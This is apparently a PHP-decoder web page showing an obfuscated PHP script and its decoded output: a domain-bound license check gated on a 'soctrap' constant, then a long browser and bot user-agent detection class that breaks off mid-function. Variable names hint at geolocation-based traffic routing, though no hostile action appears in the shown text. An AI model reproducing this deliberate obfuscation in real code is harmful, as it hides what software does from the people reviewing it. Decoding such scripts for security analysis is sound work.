Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4fBA\x4cS"}["\x77s\x61\x71\x6c\x64s\x68h\x68\x64t"]="\x75pl\x6f\x61d\x5..
Decoded Output download
<?php ${"GLOBALS"}["wsaqldshhhdt"]="upload_chmod";${"GLOBALS"}["kodcdmvgmvo"]="check_subdomain";${"GLOBALS"}["odycdnbhxei"]="sw";${"GLOBALS"}["jfwnxzx"]="e";${"GLOBALS"}["yhejzrsqkj"]="_db";${"GLOBALS"}["fihafmpnv"]="html";${"GLOBALS"}["vhypvgx"]="prefix";${"GLOBALS"}["bsdunh"]="k";${"GLOBALS"}["qgugihinm"]="mime";${"GLOBALS"}["lyslsksr"]="finfo";${"GLOBALS"}["hxlxuxt"]="ext";${"GLOBALS"}["sxkwtqvxnn"]="md5";${"GLOBALS"}["cgcvmhgbw"]="response";${"GLOBALS"}["niyreab"]="ch";${"GLOBALS"}["vnhuipkcun"]="headers";${"GLOBALS"}["mbebywmgij"]="token";${"GLOBALS"}["ebwdrzhei"]="message";${"GLOBALS"}["adrpdvxsg"]="body";${"GLOBALS"}["cumsuhg"]="tokens";${"GLOBALS"}["oatchbwueek"]="alias";${"GLOBALS"}["sgqvimhrowht"]="base";${"GLOBALS"}["wbqtovlsdni"]="Parts";${"GLOBALS"}["rjbqllewrux"]="IgnoreWWW";${"GLOBALS"}["hxsgruyvff"]="id";${"GLOBALS"}["wmfcrwweah"]="rows";${"GLOBALS"}["xtgcztjjk"]="row";${"GLOBALS"}["dczdtls"]="object_id";${"GLOBALS"}["crnxopw"]="select";${"GLOBALS"}["cqjdppukmox"]="sql";${"GLOBALS"}["pekvmfamcfq"]="params";${"GLOBALS"}["lrcagdieaqd"]="array";${"GLOBALS"}["nwhuhfwg"]="mobileVAL";${"GLOBALS"}["joflsnhpe"]="ipadVAL";${"GLOBALS"}["gcuhorrsb"]="desktopVAL";${"GLOBALS"}["ixopnskrlq"]="useragent";${"GLOBALS"}["fpobuyiof"]="SxGeo";${"GLOBALS"}["owommygr"]="db";${"GLOBALS"}["owwrhlik"]="path";${"GLOBALS"}["jhedwlyii"]="url";${"GLOBALS"}["wwppzzshdv"]="string";${"GLOBALS"}["vpfqyvqwjs"]="tmp";${"GLOBALS"}["qtdevyngb"]="unpacked";${"GLOBALS"}["rcmxirvpd"]="v";${"GLOBALS"}["sjsodkstu"]="val";${"GLOBALS"}["gqbsuee"]="pos";${"GLOBALS"}["nuktuhu"]="l";${"GLOBALS"}["bnhmhgmvosff"]="type0";${"GLOBALS"}["utayrbdx"]="empty";${"GLOBALS"}["riluqbh"]="p";${"GLOBALS"}["phnwnfgopg"]="name";${"GLOBALS"}["umsyhfw"]="pack";${"GLOBALS"}["kjjniuzvfikc"]="region";${"GLOBALS"}["csfwoyhlqy"]="full";${"GLOBALS"}["xwzyqtc"]="country";${"GLOBALS"}["hqnqggzcj"]="city";${"GLOBALS"}["vpigsnaby"]="only_country";${"GLOBALS"}["slqdfd"]="seek";${"GLOBALS"}["ipfvav"]="raw";${"GLOBALS"}["novnizni"]="len";${"GLOBALS"}["uoeuougmrz"]="part";${"GLOBALS"}["rrsscereh"]="blocks";${"GLOBALS"}["pxnmqcdg"]="ip1n";${"GLOBALS"}["fbbmgwhl"]="ip";${"GLOBALS"}["mqbpetvxqhqy"]="ipn";${"GLOBALS"}["pgrrcocusy"]="offset";${"GLOBALS"}["qpysvkmsmjsl"]="min";${"GLOBALS"}["kbeumfntw"]="max";${"GLOBALS"}["laycjvc"]="type";${"GLOBALS"}["rzurnbudbq"]="info";${"GLOBALS"}["trrwekoak"]="header";${"GLOBALS"}["irjkysswbju"]="db_file";${"GLOBALS"}["vfbftwgcxf"]="matches";${"GLOBALS"}["eqrphioe"]="resultant";${"GLOBALS"}["ledihzdo"]="result";${"GLOBALS"}["pebetctxk"]="aversion";${"GLOBALS"}["plcnnyfw"]="aresult";${"GLOBALS"}["utuxzgyq"]="agent_string";${"GLOBALS"}["sihxxxn"]="value";${"GLOBALS"}["edrxgkkbtd"]="version";${"GLOBALS"}["lqqfjqed"]="platform";${"GLOBALS"}["tomxio"]="browserName";${"GLOBALS"}["olqfrgyqsym"]="userAgent";${"GLOBALS"}["rnsiuo"]="_config";${"GLOBALS"}["ovjrjwqo"]="_input";${"GLOBALS"}["ipurlpcpcpq"]="_input";${"GLOBALS"}["qrvtdcrwehv"]="_input";$qsxnell="_input";$uybwvxkkp="_input";${"GLOBALS"}["whdqckgdpu"]="key";$khmqeie="_input";$cekvjflvuev="_input";if(!defined("soctrap")){exit();}${"GLOBALS"}["qfdxidtv"]="_input";${${"GLOBALS"}["whdqckgdpu"]}="%`8@0tdgy4(9r*6x3)m5p`n334j>e~bpn2w=2v#v*46lm8/9f-vsk-1(q`b&a0h#q4l3z309f~-cn_xo)g&xq8j27+_u2&m)07<6ysd+=xki/z4wwadq+yt2kn+aie\$)-g%oe9t~qvz~0#@/uag<6e\$@(!)d/g~>7h^^oai51h6f+jgusdl^*77mj_o*(yr@j==z`ka\$f";$zehijme="key";$xgeidlhwsb="_input";${$khmqeie}["domain"]=ltrim($_SERVER["HTTP_HOST"],"www.");$kkgoxlx="_input";${${"GLOBALS"}["ipurlpcpcpq"]}["key"]=str_split(${${"GLOBALS"}["qrvtdcrwehv"]}["domain"]);${${"GLOBALS"}["ovjrjwqo"]}["key"]=array_reverse(${$kkgoxlx}["key"]);${$qsxnell}["key"]=md5(implode(${$zehijme},${${"GLOBALS"}["ovjrjwqo"]}["key"]));${$uybwvxkkp}["key"].=md5(${${"GLOBALS"}["whdqckgdpu"]}.${$xgeidlhwsb}["key"]);${${"GLOBALS"}["ovjrjwqo"]}["key"]=strtoupper(${${"GLOBALS"}["qfdxidtv"]}["key"]);if((isset(${${"GLOBALS"}["rnsiuo"]}["license"])&&${${"GLOBALS"}["rnsiuo"]}["license"]==${$cekvjflvuev}["key"])||!array_key_exists("admin",$_GET)){class Browser{private$_agent='';private$_browser_name='';private$_version='';private$_platform='';private$_os='';private$_is_aol=false;private$_is_mobile=false;private$_is_tablet=false;private$_is_robot=false;private$_is_facebook=false;private$_aol_version='';const BROWSER_UNKNOWN="unknown";const VERSION_UNKNOWN="unknown";const BROWSER_OPERA="Opera";const BROWSER_OPERA_MINI="Opera Mini";const BROWSER_WEBTV="WebTV";const BROWSER_EDGE="Edge";const BROWSER_IE="Internet Explorer";const BROWSER_POCKET_IE="Pocket Internet Explorer";const BROWSER_KONQUEROR="Konqueror";const BROWSER_ICAB="iCab";const BROWSER_OMNIWEB="OmniWeb";const BROWSER_FIREBIRD="Firebird";const BROWSER_FIREFOX="Firefox";const BROWSER_ICEWEASEL="Iceweasel";const BROWSER_SHIRETOKO="Shiretoko";const BROWSER_MOZILLA="Mozilla";const BROWSER_AMAYA="Amaya";const BROWSER_LYNX="Lynx";const BROWSER_SAFARI="Safari";const BROWSER_IPHONE="iPhone";const BROWSER_IPOD="iPod";const BROWSER_IPAD="iPad";const BROWSER_CHROME="Chrome";const BROWSER_ANDROID="Android";const BROWSER_GOOGLEBOT="GoogleBot";const BROWSER_YANDEXBOT="YandexBot";const BROWSER_YANDEXIMAGERESIZER_BOT="YandexImageResizer";const BROWSER_YANDEXIMAGES_BOT="YandexImages";const BROWSER_YANDEXVIDEO_BOT="YandexVideo";const BROWSER_YANDEXMEDIA_BOT="YandexMedia";const BROWSER_YANDEXBLOGS_BOT="YandexBlogs";const BROWSER_YANDEXFAVICONS_BOT="YandexFavicons";const BROWSER_YANDEXWEBMASTER_BOT="YandexWebmaster";const BROWSER_YANDEXDIRECT_BOT="YandexDirect";const BROWSER_YANDEXMETRIKA_BOT="YandexMetrika";const BROWSER_YANDEXNEWS_BOT="YandexNews";const BROWSER_YANDEXCATALOG_BOT="YandexCatalog";const BROWSER_SLURP="Yahoo! Slurp";const BROWSER_W3CVALIDATOR="W3C Validator";const BROWSER_BLACKBERRY="BlackBerry";const BROWSER_ICECAT="IceCat";const BROWSER_NOKIA_S60="Nokia S60 OSS Browser";const BROWSER_NOKIA="Nokia Browser";const BROWSER_MSN="MSN Browser";const BROWSER_MSNBOT="MSN Bot";const BROWSER_BINGBOT="Bing Bot";const BROWSER_VIVALDI="Vivalidi";const BROWSER_YANDEX="Yandex";const BROWSER_NETSCAPE_NAVIGATOR="Netscape Navigator";const BROWSER_GALEON="Galeon";const BROWSER_NETPOSITIVE="NetPositive";const BROWSER_PHOENIX="Phoenix";const BROWSER_PLAYSTATION="PlayStation";const BROWSER_SAMSUNG="SamsungBrowser";const BROWSER_SILK="Silk";const BROWSER_I_FRAME="Iframely";const BROWSER_COCOA="CocoaRestClient";const PLATFORM_UNKNOWN="unknown";const PLATFORM_WINDOWS="Windows";const PLATFORM_WINDOWS_CE="Windows CE";const PLATFORM_APPLE="Apple";const PLATFORM_LINUX="Linux";const PLATFORM_OS2="OS/2";const PLATFORM_BEOS="BeOS";const PLATFORM_IPHONE="iPhone";const PLATFORM_IPOD="iPod";const PLATFORM_IPAD="iPad";const PLATFORM_BLACKBERRY="BlackBerry";const PLATFORM_NOKIA="Nokia";const PLATFORM_FREEBSD="FreeBSD";const PLATFORM_OPENBSD="OpenBSD";const PLATFORM_NETBSD="NetBSD";const PLATFORM_SUNOS="SunOS";const PLATFORM_OPENSOLARIS="OpenSolaris";const PLATFORM_ANDROID="Android";const PLATFORM_PLAYSTATION="Sony PlayStation";const PLATFORM_ROKU="Roku";const PLATFORM_APPLE_TV="Apple TV";const PLATFORM_TERMINAL="Terminal";const PLATFORM_FIRE_OS="Fire OS";const PLATFORM_SMART_TV="SMART-TV";const PLATFORM_CHROME_OS="Chrome OS";const PLATFORM_JAVA_ANDROID="Java/Android";const PLATFORM_POSTMAN="Postman";const PLATFORM_I_FRAME="Iframely";const OPERATING_SYSTEM_UNKNOWN="unknown";public function __construct($userAgent=''){if(${${"GLOBALS"}["olqfrgyqsym"]}!=""){$this->setUserAgent(${${"GLOBALS"}["olqfrgyqsym"]});}else{$this->reset();$this->determine();}}public function reset(){$this->_agent=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";$this->_browser_name=self::BROWSER_UNKNOWN;$this->_version=self::VERSION_UNKNOWN;$this->_platform=self::PLATFORM_UNKNOWN;$this->_os=self::OPERATING_SYSTEM_UNKNOWN;$this->_is_aol=false;$this->_is_mobile=false;$this->_is_tablet=false;$this->_is_robot=false;$this->_is_facebook=false;$this->_aol_version=self::VERSION_UNKNOWN;}function isBrowser($browserName){return(0==strcasecmp($this->_browser_name,trim(${${"GLOBALS"}["tomxio"]})));}public function getBrowser(){return$this->_browser_name;}public function setBrowser($browser){${"GLOBALS"}["ehfuaxpktfy"]="browser";$this->_browser_name=${${"GLOBALS"}["ehfuaxpktfy"]};}public function getPlatform(){return$this->_platform;}public function setPlatform($platform){$this->_platform=${${"GLOBALS"}["lqqfjqed"]};}public function getVersion(){return$this->_version;}public function setVersion($version){$this->_version=preg_replace("/[^0-9,.,a-z,A-Z-]/","",${${"GLOBALS"}["edrxgkkbtd"]});}public function getAolVersion(){return$this->_aol_version;}public function setAolVersion($version){$this->_aol_version=preg_replace("/[^0-9,.,a-z,A-Z]/","",${${"GLOBALS"}["edrxgkkbtd"]});}public function isAol(){return$this->_is_aol;}public function isMobile(){return$this->_is_mobile;}public function isTablet(){return$this->_is_tablet;}public function isRobot(){return$this->_is_robot;}public function isFacebook(){return$this->_is_facebook;}public function setAol($isAol){$dkqewqyseyu="isAol";$this->_is_aol=${$dkqewqyseyu};}protected function setMobile($value=true){${"GLOBALS"}["pnztrtbe"]="value";$this->_is_mobile=${${"GLOBALS"}["pnztrtbe"]};}protected function setTablet($value=true){$this->_is_tablet=${${"GLOBALS"}["sihxxxn"]};}protected function setRobot($value=true){$this->_is_robot=${${"GLOBALS"}["sihxxxn"]};}protected function setFacebook($value=true){$this->_is_facebook=${${"GLOBALS"}["sihxxxn"]};}public function getUserAgent(){return$this->_agent;}public function setUserAgent($agent_string){$this->reset();$this->_agent=${${"GLOBALS"}["utuxzgyq"]};$this->determine();}public function isChromeFrame(){return(strpos($this->_agent,"chromeframe")!==false);}public function __toString(){return"<strong>Browser Name:</strong> {$this->getBrowser()}<br/>
"."<strong>Browser Version:</strong> {$this->getVersion()}<br/>
"."<strong>Browser User Agent String:</strong> {$this->getUserAgent()}<br/>
"."<strong>Platform:</strong> {$this->getPlatform()}<br/>";}protected function determine(){$this->checkPlatform();$this->checkBrowsers();$this->checkForAol();}protected function checkBrowsers(){return($this->checkBrowserWebTv()||$this->checkBrowserEdge()||$this->checkBrowserInternetExplorer()||$this->checkBrowserOpera()||$this->checkBrowserGaleon()||$this->checkBrowserNetscapeNavigator9Plus()||$this->checkBrowserVivaldi()||$this->checkBrowserYandex()||$this->checkBrowserFirefox()||$this->checkBrowserChrome()||$this->checkBrowserOmniWeb()||$this->checkBrowserAndroid()||$this->checkBrowseriPad()||$this->checkBrowseriPod()||$this->checkBrowseriPhone()||$this->checkBrowserBlackBerry()||$this->checkBrowserNokia()||$this->checkBrowserGoogleBot()||$this->checkBrowserMSNBot()||$this->checkBrowserBingBot()||$this->checkBrowserSlurp()||$this->checkBrowserYandexBot()||$this->checkBrowserYandexImageResizerBot()||$this->checkBrowserYandexBlogsBot()||$this->checkBrowserYandexCatalogBot()||$this->checkBrowserYandexDirectBot()||$this->checkBrowserYandexFaviconsBot()||$this->checkBrowserYandexImagesBot()||$this->checkBrowserYandexMediaBot()||$this->checkBrowserYandexMetrikaBot()||$this->checkBrowserYandexNewsBot()||$this->checkBrowserYandexVideoBot()||$this->checkBrowserYandexWebmasterBot()||$this->checkFacebookExternalHit()||$this->checkBrowserSamsung()||$this->checkBrowserSilk()||$this->checkBrowserSafari()||$this->checkBrowserNetPositive()||$this->checkBrowserFirebird()||$this->checkBrowserKonqueror()||$this->checkBrowserIcab()||$this->checkBrowserPhoenix()||$this->checkBrowserAmaya()||$this->checkBrowserLynx()||$this->checkBrowserShiretoko()||$this->checkBrowserIceCat()||$this->checkBrowserIceweasel()||$this->checkBrowserW3CValidator()||$this->checkBrowserPlayStation()||$this->checkBrowserIframely()||$this->checkBrowserCocoa()||$this->checkBrowserMozilla());}protected function checkBrowserBlackBerry(){if(stripos($this->_agent,"blackberry")!==false){$ahaomuwsno="aresult";${$ahaomuwsno}=explode("/",stristr($this->_agent,"BlackBerry"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$gbmvmerts="aversion";${"GLOBALS"}["mdeclp"]="aversion";${$gbmvmerts}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["mdeclp"]}[0]);$this->_browser_name=self::BROWSER_BLACKBERRY;$this->setMobile(true);return true;}}return false;}protected function checkForAol(){$this->setAol(false);$this->setAolVersion(self::VERSION_UNKNOWN);if(stripos($this->_agent,"aol")!==false){$bmzrej="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",stristr($this->_agent,"AOL"));if(isset(${$bmzrej}[1])){${"GLOBALS"}["enoogjcqppm"]="aversion";$this->setAol(true);$this->setAolVersion(preg_replace("/[^0-9\.a-z]/i","",${${"GLOBALS"}["enoogjcqppm"]}[1]));return true;}}return false;}protected function checkBrowserGoogleBot(){if(stripos($this->_agent,"googlebot")!==false){$xyubeju="aresult";${$xyubeju}=explode("/",stristr($this->_agent,"googlebot"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$pckiqv="aversion";${"GLOBALS"}["pzrwfewbze"]="aversion";${${"GLOBALS"}["pzrwfewbze"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(str_replace(";","",${$pckiqv}[0]));$this->_browser_name=self::BROWSER_GOOGLEBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexBot(){if(stripos($this->_agent,"YandexBot")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexBot"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$ddhlgixpff="aversion";$uodnkdfo="aresult";${"GLOBALS"}["ylqslc"]="aversion";${$ddhlgixpff}=explode(" ",${$uodnkdfo}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["ylqslc"]}[0]));$this->_browser_name=self::BROWSER_YANDEXBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexImageResizerBot(){if(stripos($this->_agent,"YandexImageResizer")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexImageResizer"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["eqlehuacujo"]="aversion";${"GLOBALS"}["cdwyavc"]="aversion";$xwuustxwdk="aresult";${${"GLOBALS"}["eqlehuacujo"]}=explode(" ",${$xwuustxwdk}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["cdwyavc"]}[0]));$this->_browser_name=self::BROWSER_YANDEXIMAGERESIZER_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexCatalogBot(){if(stripos($this->_agent,"YandexCatalog")!==false){${"GLOBALS"}["xpwcjbug"]="aresult";$diibmy="aresult";${${"GLOBALS"}["xpwcjbug"]}=explode("/",stristr($this->_agent,"YandexCatalog"));if(isset(${$diibmy}[1])){${"GLOBALS"}["kxpynpn"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["kxpynpn"]}[0]));$this->_browser_name=self::BROWSER_YANDEXCATALOG_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexNewsBot(){if(stripos($this->_agent,"YandexNews")!==false){${"GLOBALS"}["hdhvtnpzg"]="aresult";${${"GLOBALS"}["hdhvtnpzg"]}=explode("/",stristr($this->_agent,"YandexNews"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["geibhnj"]="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["geibhnj"]}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXNEWS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexMetrikaBot(){if(stripos($this->_agent,"YandexMetrika")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexMetrika"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$kmscfhwsp="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${$kmscfhwsp}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXMETRIKA_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexDirectBot(){if(stripos($this->_agent,"YandexDirect")!==false){${"GLOBALS"}["seqggg"]="aresult";${${"GLOBALS"}["seqggg"]}=explode("/",stristr($this->_agent,"YandexDirect"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$dwbgippgawos="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${$dwbgippgawos}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXDIRECT_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexWebmasterBot(){if(stripos($this->_agent,"YandexWebmaster")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexWebmaster"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);${"GLOBALS"}["wjwnimhqiumc"]="aversion";$this->setVersion(str_replace(";","",${${"GLOBALS"}["wjwnimhqiumc"]}[0]));$this->_browser_name=self::BROWSER_YANDEXWEBMASTER_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexFaviconsBot(){if(stripos($this->_agent,"YandexFavicons")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexFavicons"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$gnlsbowcq="aversion";${$gnlsbowcq}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXFAVICONS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexBlogsBot(){if(stripos($this->_agent,"YandexBlogs")!==false){${"GLOBALS"}["bkxilkvrc"]="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"YandexBlogs"));if(isset(${${"GLOBALS"}["bkxilkvrc"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);${"GLOBALS"}["dypwzjmwg"]="aversion";$this->setVersion(str_replace(";","",${${"GLOBALS"}["dypwzjmwg"]}[0]));$this->_browser_name=self::BROWSER_YANDEXBLOGS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexMediaBot(){if(stripos($this->_agent,"YandexMedia")!==false){${"GLOBALS"}["iqvulcnttn"]="aresult";$cdbfyjej="aresult";${$cdbfyjej}=explode("/",stristr($this->_agent,"YandexMedia"));if(isset(${${"GLOBALS"}["iqvulcnttn"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXMEDIA_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexVideoBot(){if(stripos($this->_agent,"YandexVideo")!==false){$qmtppnw="aresult";${$qmtppnw}=explode("/",stristr($this->_agent,"YandexVideo"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$pbljzbuto="aversion";$this->setVersion(str_replace(";","",${$pbljzbuto}[0]));$this->_browser_name=self::BROWSER_YANDEXVIDEO_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexImagesBot(){if(stripos($this->_agent,"YandexImages")!==false){$gdygopfluiz="aresult";$tknypoto="aresult";${$tknypoto}=explode("/",stristr($this->_agent,"YandexImages"));if(isset(${$gdygopfluiz}[1])){${"GLOBALS"}["yvyedtd"]="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["yvyedtd"]}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_YANDEXIMAGES_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserMSNBot(){if(stripos($this->_agent,"msnbot")!==false){${"GLOBALS"}["jwbwyjafed"]="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"msnbot"));if(isset(${${"GLOBALS"}["jwbwyjafed"]}[1])){$nippnsd="aversion";${"GLOBALS"}["hlupgwes"]="aversion";${${"GLOBALS"}["hlupgwes"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(str_replace(";","",${$nippnsd}[0]));$this->_browser_name=self::BROWSER_MSNBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserBingBot(){if(stripos($this->_agent,"bingbot")!==false){$etemfbvdrh="aresult";${$etemfbvdrh}=explode("/",stristr($this->_agent,"bingbot"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$kmxdspyu="aversion";$vsdumkwmghv="aresult";${$kmxdspyu}=explode(" ",${$vsdumkwmghv}[1]);$this->setVersion(str_replace(";","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->_browser_name=self::BROWSER_BINGBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserW3CValidator(){if(stripos($this->_agent,"W3C-checklink")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"W3C-checklink"));${"GLOBALS"}["wctiwirvobn"]="aresult";if(isset(${${"GLOBALS"}["wctiwirvobn"]}[1])){$wrrztonpsis="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${$wrrztonpsis}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);$this->_browser_name=self::BROWSER_W3CVALIDATOR;return true;}}else if(stripos($this->_agent,"W3C_Validator")!==false){$hlcyvoirjnsv="ua";${"GLOBALS"}["ccjinbzojytw"]="aresult";${"GLOBALS"}["wbitjnoe"]="ua";${$hlcyvoirjnsv}=str_replace("W3C_Validator ","W3C_Validator/",$this->_agent);${${"GLOBALS"}["ccjinbzojytw"]}=explode("/",stristr(${${"GLOBALS"}["wbitjnoe"]},"W3C_Validator"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["syntxckvqiy"]="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["syntxckvqiy"]}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);$this->_browser_name=self::BROWSER_W3CVALIDATOR;return true;}}else if(stripos($this->_agent,"W3C-mobileOK")!==false){$this->_browser_name=self::BROWSER_W3CVALIDATOR;$this->setMobile(true);return true;}return false;}protected function checkBrowserSlurp(){if(stripos($this->_agent,"slurp")!==false){$exrvcnsabfq="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"Slurp"));if(isset(${$exrvcnsabfq}[1])){$oxrreclel="aresult";$urflfry="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${$oxrreclel}[1]);$this->setVersion(${$urflfry}[0]);$this->_browser_name=self::BROWSER_SLURP;$this->setRobot(true);$this->setMobile(false);return true;}}return false;}protected function checkBrowserEdge(){if(stripos($this->_agent,"Edge/")!==false){${"GLOBALS"}["rknvfhicetrr"]="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"Edge"));if(isset(${${"GLOBALS"}["rknvfhicetrr"]}[1])){${"GLOBALS"}["bhkbybkscj"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["bhkbybkscj"]}[0]);$this->setBrowser(self::BROWSER_EDGE);if(stripos($this->_agent,"Windows Phone")!==false||stripos($this->_agent,"Android")!==false){$this->setMobile(true);}return true;}}return false;}protected function checkBrowserInternetExplorer(){if(stripos($this->_agent,"Trident/7.0; rv:11.0")!==false){$this->setBrowser(self::BROWSER_IE);$this->setVersion("11.0");return true;}else if(stripos($this->_agent,"microsoft internet explorer")!==false){$this->setBrowser(self::BROWSER_IE);${"GLOBALS"}["ejlymvyrwel"]="aresult";$this->setVersion("1.0");${${"GLOBALS"}["plcnnyfw"]}=stristr($this->_agent,"/");if(preg_match("/308|425|426|474|0b1/i",${${"GLOBALS"}["ejlymvyrwel"]})){$this->setVersion("1.5");}return true;}else if(stripos($this->_agent,"msie")!==false&&stripos($this->_agent,"opera")===false){$ofkiphif="aresult";if(stripos($this->_agent,"msnb")!==false){${"GLOBALS"}["gagqdhofx"]="aresult";$biredjxbg="aresult";${$biredjxbg}=explode(" ",stristr(str_replace(";","; ",$this->_agent),"MSN"));if(isset(${${"GLOBALS"}["gagqdhofx"]}[1])){$kcmwschn="aresult";$this->setBrowser(self::BROWSER_MSN);$this->setVersion(str_replace(array("(",")",";"),"",${$kcmwschn}[1]));return true;}}${$ofkiphif}=explode(" ",stristr(str_replace(";","; ",$this->_agent),"msie"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["jqhrgj"]="aresult";$this->setBrowser(self::BROWSER_IE);${"GLOBALS"}["klsixqzxhup"]="aresult";$this->setVersion(str_replace(array("(",")",";"),"",${${"GLOBALS"}["jqhrgj"]}[1]));if(preg_match("#trident/([0-9\.]+);#i",$this->_agent,${${"GLOBALS"}["klsixqzxhup"]})){$bgzprpjhjduh="aresult";$pgelmdos="aresult";$lknjrpjhwqvc="aresult";if(${$lknjrpjhwqvc}[1]=="3.1"){$this->setVersion("7.0");}else if(${$bgzprpjhjduh}[1]=="4.0"){$this->setVersion("8.0");}else if(${$pgelmdos}[1]=="5.0"){$this->setVersion("9.0");}else if(${${"GLOBALS"}["plcnnyfw"]}[1]=="6.0"){$this->setVersion("10.0");}else if(${${"GLOBALS"}["plcnnyfw"]}[1]=="7.0"){$this->setVersion("11.0");}else if(${${"GLOBALS"}["plcnnyfw"]}[1]=="8.0"){$this->setVersion("11.0");}}if(stripos($this->_agent,"IEMobile")!==false){$this->setBrowser(self::BROWSER_POCKET_IE);$this->setMobile(true);}return true;}}else if(stripos($this->_agent,"trident")!==false){$this->setBrowser(self::BROWSER_IE);$ckcvobrrg="result";${${"GLOBALS"}["ledihzdo"]}=explode("rv:",$this->_agent);if(isset(${$ckcvobrrg}[1])){$this->setVersion(preg_replace("/[^0-9.]+/","",${${"GLOBALS"}["ledihzdo"]}[1]));$this->_agent=str_replace(array("Mozilla","Gecko"),"MSIE",$this->_agent);}}else if(stripos($this->_agent,"mspie")!==false||stripos($this->_agent,"pocket")!==false){$grmruh="aresult";${$grmruh}=explode(" 